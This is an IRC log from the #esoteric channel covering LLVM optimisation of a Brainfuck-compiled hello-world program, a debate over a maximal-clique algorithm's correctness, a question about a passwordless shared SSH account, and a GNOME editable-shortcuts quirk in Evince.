through to Block1 directly without a test. < 1268870910 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1268870925 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :For the record, these were from llvm version 2.6 (Debian 2.6-8), which might've been guessable. < 1268870988 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Marking llbf as alwaysinline is obviously a win anyways < 1268871218 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: Hey! I got that puts("Hello World!"); out of it. < 1268871230 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Great; what'd you do < 1268871307 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric : what's the address to contact the mail server owner? < 1268871309 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :postmaster? < 1268871332 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Deewiant: I changed my existing <> code of "%tmp1 = ptrtoint i8* %oldmem to i64; %tmp2 = add/sub i64 %tmp1, N; %newmem = inttoptr i64 %tmp2 to i8*;" into "%newmem = getelementptr i8* %oldmem, +-N". < 1268871353 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :That was it? Awesome < 1268871366 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :llvm-as < hello.ll | opt -O3 -std-compile-opts -std-link-opts -loop-unroll | llvm-dis => http://pastebin.com/AYiVB3pM < 1268871385 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :It still memsets the tape to 0 for some reason, but after that it's just a sequence of putchar() calls. < 1268871399 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :(I wasn't really expecting it to combine those into a puts().) < 1268871464 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :(And the -std-X-opts flags seem to be enough, they might even imply those others; I just tried them out earlier.) < 1268871490 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Was that with the individual 30000 stores? < 1268871500 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Yes. < 1268871513 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Hmh < 1268871567 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: Trunk manages to remove that memset < 1268871572 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :With the single zeroinitializer store, I get... uh, something rather strange. < 1268871586 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :From that putchar'ing code, I mean < 1268871604 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Ah, okay. < 1268871619 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :This is with a zeroinitializer store: http://pastebin.com/sAzBM02t < 1268871657 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Am I reading it wrong or has it actually removed the loop? < 1268871690 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Yes, it appears to have. < 1268871711 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :fizzie: Replacing 30000 with 128 in that one, you again get only putchars. < 1268871719 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Even with 2.6. < 1268871749 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Strange sort of limit there. < 1268871768 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Yes, I filed a bug about it. < 1268871777 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Though I guess the 60k individual stores aren't much better. < 1268871797 0 :adu!~ajr@pool-74-96-89-29.washdc.fios.verizon.net JOIN :#esoteric < 1268871829 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Do you think it'd grok a zeroization loop (like I had earlier) as something that's replaceable by a memset? < 1268871851 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Probably; not necessarily. < 1268871940 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Let's see, I still have that loop as a commented-out bit. < 1268872130 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Well, not my loop, but maybe my loop looks strange. :p < 1268872204 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :.LBB1_1: # %ZeroLoop.i < 1268872204 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric : mov BYTE PTR [RSP + RAX], 0 < 1268872204 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric : inc RAX < 1268872204 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric : cmp RAX, 30000 < 1268872204 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric : jne .LBB1_1 < 1268872209 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :That's what it included in there. < 1268872231 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Gimme .ll! < 1268872257 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :http://zem.fi/~fis/helloloop.ll < 1268872261 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :This time it's a bit smaller, too. < 1268872437 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :There's another size thing here; with 20 x i8 it's again all putchar. < 1268872441 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :That's another funny trick: opt turns my "%b0inmem = getelementptr [30000 x i8]* %tape, i32 0, i32 0 ... %p = getelementptr i8* %b0inmem, i32 %i" into a direct-reference "%p.i = getelementptr [30000 x i8]* %tape.i, i64 0, i64 %indvar.i". < 1268872466 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :I did that manually right away to see if it would help :-P < 1268872475 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :It still doesn't add inbounds < 1268872572 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :I need some sleeps now, nighty. < 1268872585 0 :Deewiant!unknown@unknown.invalid PRIVMSG #esoteric :Night < 1268873600 0 :cal153!~cal@c-69-181-46-213.hsd1.ca.comcast.net JOIN :#esoteric < 1268874647 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1268875252 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 245 seconds < 1268877365 0 :augur!~augur@c-68-48-220-230.hsd1.dc.comcast.net JOIN :#esoteric < 1268877870 0 :lament!unknown@unknown.invalid QUIT :Ping timeout: 252 seconds < 1268877913 0 :lament!~lament@S0106001b63f462cc.vc.shawcable.net JOIN :#esoteric < 1268877986 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :augur: how is your clique algorithm testing going? < 1268878031 0 :Sgeo!~Sgeo@ool-18bf618a.dyn.optonline.net JOIN :#esoteric < 1268878043 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1268878068 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric ::( < 1268878085 0 :augur!~augur@c-68-48-220-230.hsd1.dc.comcast.net JOIN :#esoteric < 1268878230 0 :fax!unknown@unknown.invalid PRIVMSG #esoteric ::) < 1268878281 0 :fax!unknown@unknown.invalid QUIT :Quit: Lost terminal < 1268878823 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 240 seconds < 1268879046 0 :augur_!~augur@c-68-48-220-230.hsd1.dc.comcast.net JOIN :#esoteric < 1268879093 0 :augur_!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: i tried to write it in C but im completely clueless. i dont know C well enough to do it correctly. < 1268879108 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oh < 1268879209 0 :augur_!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1268879210 0 :augur!~augur@c-68-48-220-230.hsd1.dc.comcast.net JOIN :#esoteric < 1268879631 0 :Oranjer!unknown@unknown.invalid PART #esoteric :? < 1268879786 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 265 seconds < 1268879854 0 :augur!~augur@c-68-48-220-230.hsd1.dc.comcast.net JOIN :#esoteric < 1268880205 0 :augur_!~augur@c-68-48-220-230.hsd1.dc.comcast.net JOIN :#esoteric < 1268880221 0 :augur!unknown@unknown.invalid QUIT :Ping timeout: 265 seconds < 1268880245 0 :augur_!unknown@unknown.invalid PRIVMSG #esoteric :oerjan: interestingly, it seems to be maaaaaaybe exponential in the number of nodes, but linear in the number of edges < 1268880258 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :oh, hm. < 1268880275 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :that's bad for the thing i had been thinking of < 1268880308 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i thought about why maxclique is NP-complete, and how to reduce circuit problems to it < 1268880333 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :alas the method i found ends up making _most_ vertices have edges between them < 1268880348 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :or wait < 1268880380 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :er, if it's linear in edges then it must be quadratic in nodes, since no. edges <= no. nodes squared < 1268880472 0 :augur_!unknown@unknown.invalid PRIVMSG #esoteric :the algo i have sounded pretty simple to me, but alas < 1268880475 0 :augur_!unknown@unknown.invalid PRIVMSG #esoteric :have you looked at it? < 1268880489 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :is it the one at http://wellnowwhat.net/linguistics/node-relative%20maximal%20clique.pdf ? < 1268880549 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i think there's a typo there, should't it be "if |s| = m then" < 1268881004 0 :augur_!unknown@unknown.invalid QUIT :Ping timeout: 265 seconds < 1268881093 0 :augur!~augur@c-68-48-220-230.hsd1.dc.comcast.net JOIN :#esoteric < 1268881364 0 :augur_!~augur@c-68-48-220-230.hsd1.dc.comcast.net JOIN :#esoteric < 1268881411 0 :augur!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1268881642 0 :augur_!unknown@unknown.invalid PRIVMSG #esoteric :yeah :\ < 1268881644 0 :augur_!unknown@unknown.invalid PRIVMSG #esoteric :its looking exponential in nodes < 1268881661 0 :augur_!unknown@unknown.invalid PRIVMSG #esoteric :and linear in edges < 1268881663 0 :augur_!unknown@unknown.invalid PRIVMSG #esoteric :which is interesting < 1268881687 0 :augur_!unknown@unknown.invalid PRIVMSG #esoteric :but i guess maybe not, because edge random variables i think are exponential on nodes < 1268881688 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :you mean it's linear in edges given a particular node number? < 1268881692 0 :augur_!unknown@unknown.invalid PRIVMSG #esoteric :so < 1268881915 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :Does anybody know how to make a user account that can be logged in via ssh with no password or key? (That is, anyone can log in as this user) < 1268881928 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :And don't ask why anyone would want to do something so stupid :P < 1268881941 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :O KAY < 1268881961 0 :augur_!unknown@unknown.invalid QUIT :Ping timeout: 265 seconds < 1268881981 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :I could always just make a user account with an obvious, shared password, but that's not ideal. < 1268882058 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :i suppose what you want is an account that anyone can use but no one can prevent others from using? (not that i know how to do such a thing) < 1268882088 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :that's easy < 1268882095 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :just modify passwd not to change that user's password < 1268882130 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :you'd probably also want to make any startup files not writable by the user? < 1268882161 0 :coppro!unknown@unknown.invalid PRIVMSG #esoteric :Gregor: password authentication, give it no password? < 1268882166 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :including any that might be created later... < 1268882178 0 :Gregor!unknown@unknown.invalid PRIVMSG #esoteric :coppro: No password != no password prompt < 1268883672 0 :MizardX!unknown@unknown.invalid QUIT :Ping timeout: 258 seconds < 1268885560 0 :jcp!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1268885600 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :!haskell let comb n m = product [n, n-1 .. n-m+1] `div` product [1..m] in [comb (2*n+1) n | n <- [1..20]] < 1268885611 0 :EgoBot!unknown@unknown.invalid PRIVMSG #esoteric :[3,10,35,126,462,1716,6435,24310,92378,352716,1352078,5200300,20058300,77558760,300540195,1166803110,4537567650,17672631900,68923264410,269128937220] < 1268887023 0 :Sgeo_!~Sgeo@ool-18bf618a.dyn.optonline.net JOIN :#esoteric < 1268887072 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION concludes that that pdf page cannot possibly be augur's real algorithm
< 1268887101 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :or alternatively, it cannot possibly be correct < 1268887222 0 :Sgeo!unknown@unknown.invalid QUIT :Ping timeout: 264 seconds < 1268887430 0 :jcp!unknown@unknown.invalid QUIT :Quit: I will do anything (almost) for a new router. < 1268887496 0 :jcp!~jw@bzflag/contributor/javawizard2539 JOIN :#esoteric < 1268887772 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :although it does indeed look like it must either be quadratic, or loop infinitely. < 1268887791 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :hm wait no < 1268888453 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :it must be quadratic. < 1268890398 0 :oerjan!unknown@unknown.invalid QUIT :Quit: leaving < 1268890398 0 :myndzi!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1268890430 0 :myndzi!myndzi@tengototen.net JOIN :#esoteric < 1268891471 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1268891815 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :augur: As far as I understand it, the algorithm in the pdf gives the wrong result for the following graph: < 1268891819 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :*--* < 1268891819 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :|\ | < 1268891819 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :| \| < 1268891819 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :*--* < 1268891915 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :With initial vertex the upper left, the algorithm removes the upper right and lower left vertices, giving a clique of size 2 instead of the correct 3. < 1268893360 0 :coppro!unknown@unknown.invalid QUIT :*.net *.split < 1268893360 0 :lifthrasiir!unknown@unknown.invalid QUIT :*.net *.split < 1268893360 0 :adu!unknown@unknown.invalid QUIT :*.net *.split < 1268893361 0 :yiyus!unknown@unknown.invalid QUIT :*.net *.split < 1268893361 0 :werdan7!unknown@unknown.invalid QUIT :*.net *.split < 1268893361 0 :oerjan!unknown@unknown.invalid QUIT :*.net *.split < 1268893361 0 :Sgeo_!unknown@unknown.invalid QUIT :*.net *.split < 1268893362 0 :cheater!unknown@unknown.invalid QUIT :*.net *.split < 1268893362 0 :Gregor!unknown@unknown.invalid QUIT :*.net *.split < 1268893362 0 :Deewiant!unknown@unknown.invalid QUIT :*.net *.split < 1268893362 0 :ineiros!unknown@unknown.invalid QUIT :*.net *.split < 1268893362 0 :jix!unknown@unknown.invalid QUIT :*.net *.split < 1268893362 0 :AnMaster!unknown@unknown.invalid QUIT :*.net *.split < 1268893363 0 :HackEgo!unknown@unknown.invalid QUIT :*.net *.split < 1268893363 0 :Ilari!unknown@unknown.invalid QUIT :*.net *.split < 1268893364 0 :sebbu!unknown@unknown.invalid QUIT :*.net *.split < 1268893364 0 :fizzie!unknown@unknown.invalid QUIT :*.net *.split < 1268893364 0 :Leonidas!unknown@unknown.invalid QUIT :*.net *.split < 1268893364 0 :myndzi!unknown@unknown.invalid QUIT :*.net *.split < 1268893364 0 :pikhq!unknown@unknown.invalid QUIT :*.net *.split < 1268893365 0 :cheater2!unknown@unknown.invalid QUIT :*.net *.split < 1268893365 0 :EgoBot!unknown@unknown.invalid QUIT :*.net *.split < 1268893365 0 :comex!unknown@unknown.invalid QUIT :*.net *.split < 1268893365 0 :uorygl!unknown@unknown.invalid QUIT :*.net *.split < 1268893366 0 :lament!unknown@unknown.invalid QUIT :*.net *.split < 1268893366 0 :Wareya!unknown@unknown.invalid QUIT :*.net *.split < 1268893366 0 :bsmntbombdood!unknown@unknown.invalid QUIT :*.net *.split < 1268893366 0 :mycroftiv!unknown@unknown.invalid QUIT :*.net *.split < 1268897392 0 :linf!~nikita@93-81-29-84.broadband.corbina.ru JOIN :#esoteric < 1268897400 0 :linf!unknown@unknown.invalid PART #esoteric :? < 1268899199 0 :clog!unknown@unknown.invalid QUIT :ended < 1268899200 0 :clog!unknown@unknown.invalid JOIN :#esoteric < 1268900090 0 :kar8nga!~kar8nga@jol13-1-82-66-176-74.fbx.proxad.net JOIN :#esoteric < 1268900090 0 :tombom!tombom@82.14.54.148 JOIN :#esoteric < 1268900090 0 :Gracenotes!~person@gy212-014.resnet.stonybrook.edu JOIN :#esoteric < 1268900090 0 :mental!~lament@S0106001b63f462cc.vc.shawcable.net JOIN :#esoteric < 1268900090 0 :augur!~augur@216-164-33-76.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com JOIN :#esoteric < 1268900090 0 :myndzi!myndzi@tengototen.net JOIN :#esoteric < 1268900090 0 :Sgeo_!~Sgeo@ool-18bf618a.dyn.optonline.net JOIN :#esoteric < 1268900090 0 :coppro!~coppro@unaffiliated/coppro JOIN :#esoteric < 1268900090 0 :adu!~ajr@pool-74-96-89-29.washdc.fios.verizon.net JOIN :#esoteric < 1268900090 0 :sebbu!~sebbu@ADijon-152-1-2-59.w83-194.abo.wanadoo.fr JOIN :#esoteric < 1268900090 0 :EgoBot!~EgoBot@codu.xen.prgmr.com JOIN :#esoteric < 1268900090 0 :Wareya!~wareya@cpe-74-70-140-214.nycap.res.rr.com JOIN :#esoteric < 1268900090 0 :werdan7!~w7@freenode/staff/wikimedia.werdan7 JOIN :#esoteric < 1268900090 0 :pikhq!~pikhq@75-106-100-139.cust.wildblue.net JOIN :#esoteric < 1268900090 0 :comex!comex@c-98-210-192-54.hsd1.ca.comcast.net JOIN :#esoteric < 1268900090 0 :Ilari!~user@2002:5870:32ae::1 JOIN :#esoteric < 1268900090 0 :cheater2!~cheater@ip-80-226-27-206.vodafone-net.de JOIN :#esoteric < 1268900090 0 :fizzie!fis@iris.zem.fi JOIN :#esoteric < 1268900090 0 :bsmntbombdood!~gavin@97-118-247-81.hlrn.qwest.net JOIN :#esoteric < 1268900090 0 :lifthrasiir!GEaiGlw0@haje12.kaist.ac.kr JOIN :#esoteric < 1268900090 0 :cheater!~cheater@62.176.155.187 JOIN :#esoteric < 1268900090 0 :HackEgo!~HackEgo@codu.xen.prgmr.com JOIN :#esoteric < 1268900090 0 :uorygl!~Warrigal@rrcs-70-63-156-144.midsouth.biz.rr.com JOIN :#esoteric < 1268900090 0 :Leonidas!~Leonidas@unaffiliated/leonidas JOIN :#esoteric < 1268900090 0 :AnMaster!~AnMaster@unaffiliated/anmaster JOIN :#esoteric < 1268900090 0 :Gregor!~gregor@65.183.185.22 JOIN :#esoteric < 1268900090 0 :Deewiant!~deewiant@kekkonen.cs.hut.fi JOIN :#esoteric < 1268900090 0 :yiyus!1242712427@je.je.je JOIN :#esoteric < 1268900090 0 :mycroftiv!~ircguy@h69-128-47-242.mdsnwi.dedicated.static.tds.net JOIN :#esoteric < 1268900090 0 :ineiros!~itniemin@james.ics.hut.fi JOIN :#esoteric < 1268900090 0 :jix!~jix@cyb0rg.org JOIN :#esoteric < 1268900118 0 :sshc!unknown@unknown.invalid QUIT :Max SendQ exceeded < 1268900138 0 :augur!unknown@unknown.invalid NICK :Guest43180 < 1268900138 0 :kar8nga!unknown@unknown.invalid NICK :Guest95837 < 1268900156 0 :sshc!~sshc@unaffiliated/sshc JOIN :#esoteric < 1268902227 0 :tombom!unknown@unknown.invalid QUIT :Quit: Leaving < 1268902375 0 :Guest43180!unknown@unknown.invalid NICK :augur < 1268903189 0 :oklopol!~oklopol@a91-153-122-35.elisa-laajakaista.fi JOIN :#esoteric < 1268904037 0 :Gracenotes!unknown@unknown.invalid QUIT :Changing host < 1268904037 0 :Gracenotes!~person@wikipedia/Gracenotes JOIN :#esoteric < 1268905004 0 :Gracenotes!unknown@unknown.invalid QUIT :Ping timeout: 260 seconds < 1268907288 0 :jcp!unknown@unknown.invalid QUIT :Quit: I will do anything (almost) for a new router. < 1268908011 0 :lereah_!~lereah@nanpc301.in2p3.fr JOIN :#esoteric < 1268910233 0 :mental!unknown@unknown.invalid QUIT :Ping timeout: 256 seconds < 1268910407 0 :lament!~lament@S0106001b63f462cc.vc.shawcable.net JOIN :#esoteric < 1268911173 0 :oklopol!unknown@unknown.invalid QUIT :Quit: ( www.nnscript.com :: NoNameScript 4.2 :: www.regroup-esports.com ) < 1268911410 0 :FireFly!~firefly@unaffiliated/firefly JOIN :#esoteric < 1268913162 0 :Sgeo__!~Sgeo@ool-18bf618a.dyn.optonline.net JOIN :#esoteric < 1268913388 0 :Sgeo_!unknown@unknown.invalid QUIT :Ping timeout: 268 seconds < 1268915946 0 :cheater2!unknown@unknown.invalid QUIT :Ping timeout: 248 seconds < 1268916136 0 :cheater2!~cheater@ip-80-226-27-206.vodafone-net.de JOIN :#esoteric < 1268917044 0 :Asztal!~asztal@host86-159-108-254.range86-159.btcentralplus.com JOIN :#esoteric < 1268918421 0 :BeholdMyGlory!~behold@unaffiliated/beholdmyglory JOIN :#esoteric < 1268919298 0 :dougx!~dougx@41.133.172.255 JOIN :#esoteric < 1268921246 0 :Guest95837!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268921738 0 :dougx!unknown@unknown.invalid PART #esoteric :? < 1268923511 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I love the national library search website in Sweden. You can get accurate references for any books in it. In bibtex format from it. Very useful :) < 1268923861 0 :cheater!unknown@unknown.invalid QUIT :Read error: Connection reset by peer < 1268923874 0 :cheater!~cheater@213.221.89.138 JOIN :#esoteric < 1268924803 0 :kar8nga!~kar8nga@jol13-1-82-66-176-74.fbx.proxad.net JOIN :#esoteric < 1268927561 0 :jix!unknown@unknown.invalid QUIT :Ping timeout: 245 seconds < 1268927601 0 :Leonidas!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1268927725 0 :jix!~jix@cyb0rg.org JOIN :#esoteric < 1268928197 0 :Leonidas!~Leonidas@unaffiliated/leonidas JOIN :#esoteric < 1268929808 0 :charlls!charlls@186.72.8.195 JOIN :#esoteric < 1268929929 0 :oerjan!~oerjan@hagbart.nvg.ntnu.no JOIN :#esoteric < 1268930346 0 :cheater!unknown@unknown.invalid PART #esoteric :? < 1268931182 0 :ais523!~ais523@unaffiliated/ais523 JOIN :#esoteric < 1268931403 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :silliest keyboard shortcut mistake ever?: in Evince, "A" is the shortcut to open a new document < 1268931408 0 :hiato!~fdulu@dsl-245-63-253.telkomadsl.co.za JOIN :#esoteric < 1268931416 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and this works even inside the Find dialog thing < 1268931442 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :so, in order to search for words containing a or A, you have to type it as shift-A (luckily it's case-insensitive, or you'd have to use capslock and shift-A to type a lowercase a) < 1268931562 0 :hiato!unknown@unknown.invalid QUIT :Client Quit < 1268931618 0 :hiato!~fdulu@dsl-245-63-253.telkomadsl.co.za JOIN :#esoteric < 1268931741 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :That doesn't happen in my Evince. < 1268931811 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :The only "open" shortcut I can see is C-o; just plain "A" doesn't seem to have any sort of significance. < 1268932538 0 :coppro!unknown@unknown.invalid QUIT :Quit: I am leaving. You are about to explode. < 1268932768 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :I'm not entirely sure what happened to the keyboard shortcuts on it < 1268932774 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :open is marked as "a" in my menu < 1268932936 0 :hiato!unknown@unknown.invalid NICK :sudobus < 1268932956 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :That's passing strange. I guess it might read them from some gconf-powered nightmare? < 1268932977 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :perhaps < 1268932985 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :there's no obvious way to change the shortcuts < 1268933002 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :
ACTION recalls something about gtk allowing you to change the shortcuts
< 1268933041 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Xpdf has natively single-character no-modifiers shortcuts (O for Open and so on), but it doesn't accept those when the Find dialog has the focus. < 1268933067 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :ais523: You're not the only one, though: http://ubuntuforums.org/showthread.php?p=8839774 < 1268933091 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :--- < 1268933093 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :It seems that you have Gnome Editable Shortcuts feature turned on and accidentally changed the shortcut for File→Open. The feature means that while you have a menu open, pressing any keyboard key sets it as the shortcut for the currently selected action (Backspace removes a shortcut). < 1268933093 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :To fix it: just open the File menu and while the mouse is over the Open action, press Ctrl+O. This should restore the standard shortcut. < 1268933094 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :--- < 1268933099 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Wow, that's wonderfully bizarre. < 1268933114 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :Make any stray keypresses and you completely mangle up a program's UI. < 1268933122 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :it worked, yes < 1268933127 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :wow, that's... surprising < 1268933403 0 :oerjan!unknown@unknown.invalid PRIVMSG #esoteric :sounds precisely like the gtk feature i once read about < 1268933482 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :They never cease to confuse. < 1268933671 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric : so, in order to search for words containing a or A, you have to type it as shift-A (luckily it's case-insensitive, or you'd have to use capslock and shift-A to type a lowercase a) <-- err... wth? < 1268933684 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :AnMaster: fizzie figured out what happened < 1268933695 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :at some point in the past, I had my mouse hovering over file|open while typing a < 1268933699 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :and that permanently changed the shortcut < 1268933712 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, I see < 1268933718 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :bad design < 1268933721 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :to make it work like that < 1268933787 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, how does one disable that feature btw < 1268933807 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm doesn't seem to happen for me < 1268933811 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :when I press keys in menus < 1268933819 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :so I guess it won't cause problems < 1268933821 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :yep, I suspect it's non-default and I turned it on by mistake < 1268933831 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :ais523, found where to turn it off? < 1268933835 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it might be useful to know < 1268933840 0 :fizzie!unknown@unknown.invalid PRIVMSG #esoteric :In Ubuntu, you (according to hearsay) configure it in "System→Preferences→Appearance dialog → Interface tab → Editable menu shortcut keys" < 1268933847 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :that sounds about right < 1268933852 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well hidden I'd say < 1268933869 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :well, just checked, not so much < 1268933890 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :it sounded worse when fizzie listed that long path than it really is < 1268934628 0 :oerjan!unknown@unknown.invalid QUIT :Quit: Elater < 1268934911 0 :fax!~none@unaffiliated/fax JOIN :#esoteric < 1268935732 0 :charlesq__!charlls@186.72.8.195 JOIN :#esoteric < 1268935872 0 :lereah_!unknown@unknown.invalid QUIT :Remote host closed the connection < 1268935933 0 :charlls!unknown@unknown.invalid QUIT :Ping timeout: 264 seconds < 1268936359 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :hm < 1268936392 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :checking the old palm rest for my thinkpad, there was a small square piece of clear plastic glued onto the place where the crack in the plasic happened < 1268936396 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :(on the inside that is) < 1268936409 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :right over the crack < 1268936423 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I wonder why. I don't remember if there was any such on the new palm rest part < 1268936662 0 :Wareya!unknown@unknown.invalid PRIVMSG #esoteric :hi #esoteric < 1268936669 0 :Wareya!unknown@unknown.invalid PRIVMSG #esoteric :what's going on today? < 1268936794 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :no idea < 1268936824 0 :AnMaster!unknown@unknown.invalid PRIVMSG #esoteric :I'm still wonder about said bit of glued on plastic, it looks like they suspected a crack there or something < 1268937448 0 :ais523!unknown@unknown.invalid PRIVMSG #esoteric :Wareya: not a lot, I think < 1268937468 0 :fizzie!unknown@unknown.invalid QUIT :Ping timeout: 276 seconds < 1268937550 0 :Wareya!unknown@unknown.invalid PRIVMSG #esoteric :k < 1268937685 0 